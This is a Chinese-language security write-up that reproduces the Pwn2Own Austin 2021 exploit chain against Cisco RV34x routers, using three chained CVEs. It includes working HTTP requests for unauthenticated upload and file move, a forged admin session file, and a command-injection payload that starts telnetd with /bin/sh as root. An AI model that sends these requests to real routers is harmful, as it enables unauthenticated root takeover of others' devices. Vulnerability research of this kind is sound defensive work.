作者:f-undefined团队 f0cus7
原文链接:https://mp.weixin.qq.com/s/sxj7Yn9m2JolLkuP1BGc5Q

去年一整年Cisco RV34x系列曝出了一系列漏洞,在经历了多次修补之后,在年底的Pwn2Own Austin 2021上该系列路由器仍然被IoT Inspector Research Lab攻破了,具体来说是三个逻辑漏洞结合实现了RCE,本文将基于该团队发布的wp进行复现分析。

漏洞简介

漏洞公告信息如下,影响的版本是1.0.03.24之前,受影响的产品除了RV34x之外,还包括RV160RV160WRV260以及RV260W系列。

Affected vendor & product
Vendor Advisory

Cisco RV340 Dual WAN Gigabit VPN Router (https://www.cisco.com/)
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html

Vulnerable version  1.0.03.24 and earlier
Fixed version   1.0.03.26
CVE IDs CVE-2022-20705
CVE-2022-20708
CVE-2022-20709
CVE-2022-20711
Impact  10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Credit  Q. Kaiser, IoT Inspector Research Lab

无条件RCE的实现是由三个漏洞一起构成的,包括:

  • 任意文件上传漏洞;
  • 任意文件移动漏洞;
  • 认证后的命令注入漏洞。

通过前两个漏洞实现了有效session的伪造,利用伪造的session具备了访问认证后页面的能力,后续再利用认证后命令注入漏洞实现rce

漏洞分析

此次的分析是基于固件版本1.0.03.24进行的,下载固件使用binwalk进行解压,刷新到路由器当中以方便后续动态调试验证。

此次漏洞分析的基础有两个,一个是要能看懂nginx+uwsgi架构组成的web框架配置,尤其是nginx配置文件的了解;一个是要能知道cisco ConfD+yang实现的后端数据中心服务。前者可以通过搜索nginx+uwsgi 配置实现,特别是需要nginx上传模块的配置,可参考Nginx-upload-module中文文档;后者资料不多,需要啃官方文档,可以先了解netconf+yang的网络管理模型,然后再查看官方文档ConfD User Guide来掌握。

任意文件上传漏洞

认证前任意文件上传漏洞以及任意文件移动漏洞认证前的功能都是因为nginx的不正确配置所导致的,先来看任意文件上传漏洞。

nginx的主配置文件是/etc/nginx/nginx.conf,从它的内容当中可以看到对应的用户权限是www-data

# /etc/nginx/nginx.conf
user www-data;
worker_processes  4;

error_log /dev/null;

events {
    worker_connections  1024;
}

http {
    access_log off;
    #error_log /var/log/nginx/error.log  error;

    upstream jsonrpc {
        server 127.0.0.1:9000;
    }

    upstream rest {
        server 127.0.0.1:8008;
    }

    # For websocket proxy server
    include /var/nginx/conf.d/proxy.websocket.conf;
    include /var/nginx/sites-enabled/*;
}

加载的配置是/var/nginx/conf.d/proxy.websocket.conf以及/var/nginx/sites-enabled/*

/usr/bin # ls /var/nginx/sites-enabled/
web-rest-lan  web-wan

可以在/etc/nginx/sites-available/web-rest-lan中看到它加载了lan.rest.conf以及web.upload.conf这两个配置文件。

# /etc/nginx/sites-available/web-rest-lan
...
server {
    server_name  localhost:443;

    #mapping to Firewall->Basic Settings->LAN/VPN Web Management, it will generate by ucicfg
    ...
    include /var/nginx/conf.d/lan.rest.conf;

    ...
    include /var/nginx/conf.d/web.upload.conf;
    ...
}

nginx的所有模块的配置都存储在/etc/nginx/conf.d当中,其中与lan.rest.conf对应的是rest.url.conf,其内容如下:

# /etc/nginx/conf.d/rest.url.conf: 13
location /api/operations/ciscosb-file:form-file-upload {
    set $deny 1;

    if ($http_authorization != "") {
        set $deny "0";
    }

    if ($deny = "1") {
        return 403;
    }


    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

结合proxy.conf内容可以看到,当请求头中的Authorization不为空的时候,此时$deny会被设置为0,并调用upload模块,存储的路径是/tmp/upload。因为upload_store没有配置level,所以nginx会默认将上传的数据按/tmp/upload/0000000001数字命名的方式顺序存储。

# etc/nginx/conf.d/proxy.conf,
proxy_http_version 1.1;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Authorization $http_authorization;
proxy_set_header Accept-Encoding "";
proxy_set_header Connection "";
proxy_ssl_session_reuse off;
server_name_in_redirect off;

从上面的配置可以看出,在调用/form-file-upload之前,nginx已经将用户上传的数据存储到了/tmp/upload当中,同时存储的名字又是可以预测的,后续它还会调用upload_set_form_field等方法将表单中的字段进行替换,并最终调用/form-file-upload

在这里调不调用/form-file-upload我们并不关心,因为在/form-file-upload之前我们已经可以实现任意文件上传的功能了。具体来说是先通过在HTTP请求包中加入一个Authorization头,这样绕过了认证触发了上传模块;而后我们上传的数据就会被存储到/tmp/upload当中,同时名字也可以可以遍历得到。

利用该漏洞最终实现的效果就是可以无条件的在/tmp/upload目录当中上传任意文件,其文件名类似为/tmp/upload/0000000001,数字由上传文件的序列决定,可以通过遍历实现。

发送请求包如下所示:

POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
Host: 192.168.1.1
Authorization: 123=456
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 854
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"

2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"

a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"

a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"

a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml

{
  "max-count":1,
  "cisco":{
    "4a04cd411434cea78f2d81b692dfa4a41aea9e4b15536fb933fab11df8ed414a":{
      "user":"cisco",
      "group":"admin",
      "time":315156,
      "access":1,
      "timeout":9999,
      "leasetime":15275860
    }
  }
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--

任意文件移动漏洞

第二个漏洞存是任意文件移动漏洞,可以实现任意文件移动。漏洞的原理是nginx未做权限限制同时后端也没有对权限进行认证,导致权限绕过;后端在实现过程中没有对输入校验导致任意文件移动。

下面来对该漏洞进行详细的分析。

先是权限绕过漏洞分析,/etc/nginx/conf.d/web.upload.conf内容如下,可以看到nginx/upload请求进行了session的验证(权限的判定),但它却没有对/form-file-upload请求进行权限校验,用户可以不需要任何权限直接请求/form-file-upload

# /etc/nginx/conf.d/web.upload.conf
location /form-file-upload {
    include uwsgi_params;
    proxy_buffering off;
    uwsgi_modifier1 9;
    uwsgi_pass 127.0.0.1:9003;
    uwsgi_read_timeout 3600;
    uwsgi_send_timeout 3600;
}

location /upload {
    set $deny 1;

        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }

        if ($deny = "1") {
                return 403;
        }

    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

去看/form-file-upload的后端处理程序,前面说过后端是使用uwsgi实现的,其服务启动的命令如下:

# usr/bin/uwsgi-launcher: 5
#!/bin/sh /etc/rc.common

start() {
    uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
    uwsgi -m --ini /etc/uwsgi/blockpage.ini &
    uwsgi -m --ini /etc/uwsgi/upload.ini &
}

可以看到/form-file-upload对应的uwsgi_pass目的地是127.0.0.1:9003。对应的是uwsgi启动的服务,配置文件的路径是/etc/uswgi/upload.ini,从该文件的内容中可以看到,对应的后端处理程序是/www/cgi-bin/upload.cgi

# /etc/uswgi/upload.ini
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true

从上面的描述中我们可以知道现在具备的能力是无条件访问/www/cgi-bin/upload.cgi的能力,下面逆向/www/cgi-bin/upload.cgi,来看是如何实现任意文件移动的。

upload.cgi拖入到IDA当中,可以看到它先在环境变量中获取数据,然后调用multipart-parser-c库来解析上传的数据包,解析完成后调用prepare_file来预处理上传的文件。

int __fastcall main(int a1, char **a2, char **a3)
{
  ...

  content_length_ptr = (int)getenv("CONTENT_LENGTH");
  content_type_ptr = getenv("CONTENT_TYPE");
  request_uri_ptr = getenv("REQUEST_URI");
  http_cookie_ptr = getenv("HTTP_COOKIE");
  ...
  callbacks.on_header_value = read_header_name;
  callbacks.on_part_data = read_header_value;
  json_obj = json_object_new_object();
  ...
  parser = multipart_parser_init(boundary_ptr, &callbacks);
  length = strlen(content_buf_ptr);
  multipart_parser_execute(parser, content_buf_ptr, length);
  multipart_parser_free(parser);
  jsonutil_get_string(json_obj, &filepath_ptr, "\"file.path\"", -1);
  jsonutil_get_string(json_obj, &filename_ptr, "\"filename\"", -1);
  jsonutil_get_string(json_obj, &pathparam_ptr, "\"pathparam\"", -1);
  jsonutil_get_string(json_obj, &fileparam_ptr, "\"fileparam\"", -1);
  jsonutil_get_string(json_obj, &destination_ptr, "\"destination\"", -1);
  jsonutil_get_string(json_obj, &option_ptr, "\"option\"", -1);
  jsonutil_get_string(json_obj, &cert_name_ptr, "\"cert_name\"", -1);
  jsonutil_get_string(json_obj, &cert_type_ptr, "\"cert_type\"", -1);
  jsonutil_get_string(json_obj, &password_ptr, "\"password\"", -1);
  ...
  local_fileparam_ptr = StrBufToStr(local_fileparam_buf);
  ret_code = prepare_file(pathparam_ptr, filepath_ptr, local_fileparam_ptr);

跟进去prepare_file函数,可以看到该函数会进行文件移动操作,参数file.path当作源文件路径,根据pathparam的类型设置目的文件夹并与fileparam当做目的文件名进行拼接最终作为目的路径。实现的方式是调用system,参数是"mv -f %s %s/%s",可以看到目的文件名进行了参数的校验,源文件只判断了文件是否存在,因此这个地方该参数使得我们可以移动任意的文件,当类型我们设置为Portal的时候,目的文件夹是

类型是Portal的时候,会把目的文件夹设置为/tmp/www,因为我们最终可以实现的效果是可以将任意文件移动到/tmp/www目录文件夹下。

int __fastcall prepare_file(const char *type, const char *src, const char *dst)
{
  ...
  if ( !strcmp(type, "Firmware") )
  {
    target_dir = "/tmp/firmware";
  }
  ...
  else
  {
    if ( strcmp(type, "Portal") )
      return -1;
    target_dir = "/tmp/www";
  }
  if ( !is_file_exist(src) )
    return -2;
  if ( strlen(src) > 0x80 || strlen(dst) > 0x80 )
    return -3;
  if ( match_regex("^[a-zA-Z0-9_.-]*$", dst) )
    return -4;
  sprintf(s, "mv -f %s %s/%s", src, target_dir, dst);
  debug("cmd=%s", s);
  ...
  ret_code = system(s);

利用该漏洞最直接的效果就是可以将一些敏感文件移动到/tmp/www目录下然后访问该路径,实现敏感信息泄露,更深层次的利用在后续分析中说明。

下面的请求包可以实现将/tmp/upload/0000000001移动到/tmp/www/bak

POST /form-file-upload HTTP/1.1
Host: 192.168.1.1
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 626
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"

2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"

Portal
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"

/tmp/upload/0000000001
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"

bak
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml

{
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--

认证后命令执行漏洞

最后是一个认证后命令执行漏洞,漏洞存在于/usr/bin/update-clients中。

可以看到在update-clients中,参数$name可以实现注入。

#!/usr/bin/perl

my $total = $#ARGV + 1;
my $counter = 1;

#$mac  = "FF:FF:FF:FF:FF:FF";
#$name = "TestPC";
#$type = "Computer";
#$os   = "Windows";

foreach my $a(@ARGV)
{
    if (($counter%12) == 0)
    {
        system("lcstat dev set $mac \"$name\" \"$type\" \"$os\" > /dev/null");
    }
    elsif (($counter%12) == 4)
    {
        $mac = $a
    }
    elsif (($counter%12) == 6)
    {
        $name = $a
    }
    elsif (($counter%12) == 8)
    {
        $type = $a
    }
    elsif (($counter%12) == 10)
    {
        $os = $a
    }

    $counter++;
}

这里要搞清楚的是http请求包是怎么跑到/usr/bin/update-clients去执行的。

RV34x系列采用的是ConfD的架构来进行网络管理的,ConfD是tail-f推出的配置管理开发框架,提供多种工具,针对多种标准,其中也包括了对NETCONF/YANG的支持。Tail-f已经被思科收购,所以ConfD应该说是思科的ConfD了。根据官方手册ConfD User Guide,它的架构如下。基础知识前面已经说过,可以去了解netconf+yang模型的网络管理。

CDB是内置的数据库,由xml表示,被ConfD解析后提供多个接口以实现多客户端的访问。对于RV34x系列来说,配置文件的路径是/etc/confd/cdb/,该目录下的xml便是配置的数据。比较关注的是config_init.xml,该配置文件里面存储了包含用户密码等信息在内的数据。

接口模型使用yang定义,yang是一种数据建模语言,下面给出部分关键字的解释,当然也可以从ConfD User Guide中去了解更多的信息:

  • module定义了一种分层的配置树结构。它可以使能NETCONF的所有功能,如配置操作(operation),RPC和异步通知(notification)。开发者可根据配置数据的语义来定义不同的module
  • namespace用于唯一的标识module,等同于xml文件中的namespace
  • container节点把相关的子节点组织在一起。
  • list节点可以有多个实例,每个实例都有一个key唯一标识。
  • leaf是叶子节点,具有数据类型和值,如叶子结点name的数据类型(type)是string,它唯一的表示list节点interface

下面我们看下关于漏洞点的rpc调用的yang的定义:

    // /etc/confd/yang/ciscosb-avc.yang: 197
        rpc update-clients {
        input {
            list clients {
                key mac;
                leaf mac {
                    type yang:mac-address;
                    mandatory true;
                }
                leaf hostname {
                    type string;
                }
                leaf device-type {
                    type string;
                }
                leaf os-type {
                    type string;
                }
            }
        }
    }
    augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" {
        uses ciscosb-security-common:DEVICE-OS-TYPE;
    }
    augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" {
        uses ciscosb-security-common:DEVICE-OS-TYPE;
    }

可以看到上面定义了类似于下面的json数据请求包,hostnamedevice-type以及os-type都是leaf结点,类型(type)也是字符串(string)。

POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings


{
  "jsonrpc":"2.0",
  "method":"action",
  "params":{
    "rpc":"update-clients",
    "input":{
      "clients": [
        {
          "hostname": "rv34x",
          "mac": "64:d1:a3:4f:be:e1",
          "device-type": "client",
          "os-type": "windows"
        }
      ]
    }
  }
}

yang数据接口的定义在路径/etc/confd/yang目录下,它被confdc编译成.fxs文件输出到了/etc/confd/fxs当中,后续这些.fxs文件被confd解析使用。

现在基本搞清楚了漏洞触发的原因,现在从细节实现上来看请求的数据包是如何触发rpc请求的。

nginx的配置文件中定义了/jsonrpc的请求路径,可以看到它处理的uwsgi_passjsonrpc

# /etc/nginx/conf.d/web.conf: 18
location = /jsonrpc {
    include uwsgi_params;
    proxy_buffering off;
    uwsgi_modifier1 9;
    uwsgi_pass jsonrpc;
    uwsgi_read_timeout 3600;
    uwsgi_send_timeout 3600;
}

uwsgi的定义中找到jsonrpc的定义,可以看到它对应的处理程序是/www/cgi-bin/jsonrpc.cgi

[uwsgi]
plugins = cgi
workers = 4
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9000
buffer-size=4096
cgi = /jsonrpc=/www/cgi-bin/jsonrpc.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 3600
ignore-sigpipe = true

跟进去jsonrpc.cgi,来看上面的数据包所引发的数据流是怎么传输到ConfD的。

jsonrpc.cgi拖到IDA里面,可以看到它会先获取环境变量,然后读取post数据,然后调用parse_json_content函数去解析post过去的json数据,最后调用handle_rpc去处理。

int __fastcall main(int a1, char **a2, char **a3)
{

  content_length_ptr = (int)getenv("CONTENT_LENGTH");
  content_type_ptr = getenv("CONTENT_TYPE");
  http_cookie_ptr = getenv("HTTP_COOKIE");
  ...
  if ( content_length_ptr )
    content_length_ptr = atoi((const char *)content_length_ptr);
  content_ptr = malloc(content_length_ptr + 1);
  content_ptr[fread(content_ptr, 1u, content_length_ptr, stdin)] = 0;
  malloc_ctx(&json_ctx);
  parse_json_content(json_ctx, content_ptr);
  ...
    handle_rpc(json_ctx, &ret_str);
  }

跟进去handle_rpc函数,看到它除了输出些日志以外,调用了post_rpc_request

void __fastcall handle_rpc(ctx *json_ctx, char **ret_str)
{
  ...
  debug("[%d|%s] - begin.", pid, method);
  ...
    ret = post_rpc_request(json_ctx, (char *)&ptr);
    ...
    info("[%d|%s] - end. elapsed=%lu.%06lu", pid, method, time.tv_sec, time.tv_usec);
  }
}

post_rpc_request是主要的流程分发函数,可以看到用户相关的请求是直接调用handle_user_rpc_request函数,而其余的则都会调用check_login_status函数对session进行校验,然后根据json请求当中的不同的method调用不同的处理函数。对于漏洞请求的update-clients,处理的函数是handle_action_rpc_request

int __fastcall post_rpc_request(ctx *json_ctx, char *ret_str)
{
  char *method; // r4
  int ret; // r0 MAPDST

  method = json_ctx->method;
  if ( !method )
    return 0;
  if ( !strcmp(json_ctx->method, "login")
    || !strcmp(method, "logout")
    || !strcmp(method, "u2d_check_password")
    || !strcmp(method, "u2d_change_password")
    || !strcmp(method, "change_password")
    || !strcmp(method, "add_users")
    || !strcmp(method, "set_users")
    || !strcmp(method, "del_users") )
  {
    return handle_user_rpc_request(json_ctx, ret_str);
  }
  if ( !strcmp(method, "get_downloadstatus")
    || !strcmp(method, "get_wifi_button_state")
    || !strcmp(method, "check_config")
    || !strcmp(method, "get_model_tree")
    || !strcmp(method, "get_timezones") )
  {
    if ( check_login_status(json_ctx, 1, 2) )
      return 0;
    ret = handle_status_rpc_request((int)json_ctx, ret_str);
  }
  else if ( !strncmp(method, "get_", 4u) || !strncmp(method, "u2d_get_", 8u) )
  {
    if ( check_login_status(json_ctx, 1, 2) )
      return 0;
    ret = handle_get_rpc_request(json_ctx, ret_str);
  }
  else if ( !strcmp(method, "set_bulk") )
  {
    if ( check_login_status(json_ctx, 2, 2) )
      return 0;
    ret = handle_set_bulk_rpc_request(json_ctx, ret_str);
  }
  else if ( !strncmp(method, "set_", 4u) || !strncmp(method, "del_", 4u) || !strncmp(method, "u2d_set_", 8u) )
  {
    if ( check_login_status(json_ctx, 2, 2) )
      return 0;
    ret = handle_set_del_rpc_request(json_ctx, (int *)ret_str, 1);
  }
  else
  {
    if ( strncmp(method, "action", 6u) && strncmp(method, "u2d_rpc_", 8u) )
    {
      error("ERROR METHOD CASE !!!");
      return 0;
    }
    if ( check_login_status(json_ctx, 1, 2) )
      return 0;
    ret = handle_action_rpc_request(json_ctx, ret_str);
  }
  session_close();
  return ret;
}

跟进去handle_action_rpc_request函数,它会调用jsonrpc_action_table_by_method函数,根据rpc的内容(样例中是update-clients)返回对应的处理函数。在获取input对象后,将处理函数p_action对象以及input参数值,作为参数调用jsonrpc_action_config去执行rpc调用。

int __fastcall handle_action_rpc_request(ctx *ctx, _DWORD *ret_str)
{
  ...
  method = ctx->method;
  params = ctx->params;
  ...
    else if ( !strcmp(method, "action") && json_object_object_get_ex(params, "rpc", &rpc_json_obj) )
    {
      p_action = &action;
      ...
      rpc_str = json_object_get_string(rpc_json_obj);
      ...
      if ( !jsonrpc_action_table_by_method(&action, rpc_str) )
        p_action = 0;
      ...
      if ( json_object_object_get_ex(params, "input", &input_param) )
        params = input_param;
      if ( p_action )
      {
        ret = jsonrpc_action_config((int)p_action, params, (int)&v17);

先跟进去jsonrpc_action_table_by_method函数看它是怎么获取处理函数的。函数的定义在libjsess.so当中,可以看到它主要是遍历action数组,通过rpc_str的值来确定具体是哪个action来处理rpc调用。

int __fastcall jsonrpc_action_table_by_method(action *ret_action, char *rpc_str)
{

  ...
    action_table = &json_action_table_ptr;
  action = *action_table;
  memset(ret_action, 0, sizeof(action));
  while ( 1 )
  {
    if ( !action->name )
      return 0;
    if ( !strcmp(rpc_str, action->name) )
      break;
    if ( !++action )
      return 0;
  }
  p_post_handler = &action->post_handler;
  do
  {
    ...
    // 拷贝找到的action到ret_action当中
  }
  while ( !v10 );

  return 1;
}

action结构体定以及update-clients对应的action的定义如下,可以确定对应的处理函数是action__maapi

00000000 action          struc ; (sizeof=0x14, mappedto_55)
00000000 name            DCD ?                   ; offset
00000004 field_4         DCD ?
00000008 pre_handler     DCD ?                   ; offset
0000000C handler         DCD ?                   ; offset
00000010 post_handler    DCD ?                   ; offset
00000014 action          ends


.data:00043BD0                 DCD aUpdateClients      ; "update-clients"
.data:00043BD4                 DCD 0
.data:00043BD8                 DCD 0
.data:00043BDC                 DCD action__maapi
.data:00043BE0                 DCD 0

找到对应的函数后,处理函数会调用jsonrpc_action_config去处理rpc请求。跟进去该函数,它会调用上面获取的action对象中的函数,对于update-clients,则会调用action__maapi

int  jsonrpc_action_config(action *action, int param_obj, _DWORD *a3))(int, int *)
{
  ...
  if ( v7 )
    v7 = json_tokener_parse();
  func = (int)action->pre_handler;

  if ( func )
    func = func(v6, &v16);
  ...
  pid = getppid();
  info("[%d|action|%s] - pre-handler %d.", pid, action->name, func);
  handler = action->handler;
  if ( handler )
    func = handler(v16, v9, &v17);
  ...
  post_handler = action->post_handler;
  if ( post_handler )
    func = post_handler(v17, a3);
  ...
}

跟进去action__maapi函数,看到它调用了jsess_action,经过跟踪,确定它最终调用的是mctx_rpc函数。

int __fastcall action__maapi(int a1, int a2, int *a3)
{
  ...
  result = jsess_action(g_h_sess_db);
  ...
}

.data:00044248 jmaapi_api      DCD jmaapi_open         ; DATA XREF: LOAD:00000D6C↑o
.data:00044248                                         ; jsess_set_type:loc_7F48↑o ...
.data:0004424C                 DCD jmaapi_apply
.data:00044250                 DCD jmaapi_close
.data:00044254                 DCD jmaapi_init
.data:00044258                 DCD jmaapi_get
.data:0004425C                 DCD jmaapi_set
.data:00044260                 DCD jmaapi_del
.data:00044264                 DCD jmaapi_action


int __fastcall jmaapi_action(int a1, int a2, int a3, int a4, int a5)
{
  ...
    return mctx_rpc(s, a3, a4, a5);
}

跟进去mctx_rpc函数,可以看到它调用了maapi_request_action_str_th函数去向ConfD发起请求,执行rpc调用。

int __fastcall mctx_rpc(int *a1, int a2, int a3, int a4)
{
  ...
  while ( v9 )
  {
    .
    ...
    v5 = maapi_request_action_str_th(sock, thandle, (int)&output, v15, v10);
    ...
      if ( output )
      {
        mctx_rpc_cli((int)a1, (char *)output, a3, a4);
        free(output);
      }
      if ( !json_object_object_length(a4) )
      {
        v16 = json_object_new_int(0);
        json_object_object_add(a4, "code", v16);
        v17 = json_object_new_string("Success");
        json_object_object_add(a4, "errstr", v17);
      }
    }
  }
  StrBufFree(&v27);
  return v5;
}

maapi_request_action_str_th函数的官方手册的说明如下,正是由该函数最终发送rpc请求去触发/usr/bin/update-clients的,调用的传递的参数要符合yang模型中的定义。

int maapi_request_action_str_th(int sock, int thandle, char **output,
const char *cmd_fmt, const char *path_fmt, ...);

/*Does the same thing as maapi_request_action_th(), but takes the parameters as a string and
returns the result as a string. The library allocates memory for the result string, and the caller is responsible
for freeing it. This can in all cases be done with code like this:
*/

char *output = NULL;
if (maapi_request_action_str_th(sock, th, &output,
 "test reverse listint [ 1 2 3 4 ]", "/path/to/action") == CONFD_OK) {
 ...
 free(output);
}

跟到这里就算结束了,ConfD里面的实现就不继续跟踪了,具体的ConfD的说明还是建议简要把官方手册的关键章节看看,对进一步掌握框架由很好的帮助。

值得一提的是因为ConfDroot权限,所以/usr/bin/update-clients最终执行的时候也是root权限,因此利用这个漏洞拿到的权限也是root,比之前在cgi中拿到的权限要高。

认证后命令注入的post包如下所示:

POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json, text/plain, */*
Content-Length: 350
Connection: close
Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings


{
  "jsonrpc":"2.0",
  "method":"action",
  "params":{
    "rpc":"update-clients",
    "input":{
      "clients": [
        {
          "hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2306)",
          "mac": "64:d1:a3:4f:be:e1",
          "device-type": "client",
          "os-type": "windows"
        }
      ]
    }
  }
}

漏洞利用

上面一节中把三个漏洞的细节都描述了一遍,本节中我们将尝试将三个漏洞结合起来实现无条件RCE的利用。

先回顾下三个漏洞的作用:

  • 任意文件上传漏洞:可以实现上传任意文件到/tmp/upload目录中,文件名是可以预测的,是0000000000的数字递增;
  • 任意文件移动漏洞:可以实现将文件系统中任意文件移动至/tmp/www目录下;
  • 认证后命令执行漏洞:简单粗暴的认证后命令注入。

利用这三个漏洞的结合可以总结为:

  1. 利用任意文件上传漏洞上传伪造的session/tmp/upload目录下;
  2. 利用任意文件移动漏洞将伪造的session移动至/tmp目录下,实现有效session的伪造;
  3. 基于有效session,利用认证后命令执行漏洞拿到root权限;

下面一步一步进行解释。

第一步伪造session,先说明下RV34x中的session构成,session存储在/tmp/websession目录下

/tmp # ls websession/
session  token

/tmp # cat websession/session
{
  "max-count":1,
  "cisco":{
    "dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
      "user":"cisco",
      "group":"admin",
      "time":2433831,
      "access":1,
      "timeout":1800,
      "leasetime":13118911
    }
  }
}

/tmp # ls websession/token/
dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8

/tmp # cat websession/token/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8
/tmp #

可以看到整个session的构成包含两个部分,一部分是/tmp/websession/session文件中包含登录的用户信息,信息中存储了用户名、session id、用户组、超时时间等;另一部分则是/tmp/websession/token/目录下有sessionid对应的文件,文件内容为空。因此要构造的是session文件内容,以及空的sessionid所对应的文件。

先利用任意文件漏洞漏洞上传上面两个文件,一个内容如下,另一个内容随意。要提一句的是session文件中time的构造是系统启动的时间,可以用任意文件移动漏洞执行mv /proc/uptime /tmp/www/login.html,然后访问login.html来泄漏时间戳。

{
  "max-count":1,
  "cisco":{
    "dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8":{
      "user":"cisco",
      "group":"admin",
      "time":2433831,
      "access":1,
      "timeout":1800,
      "leasetime":13118911
    }
  }
}

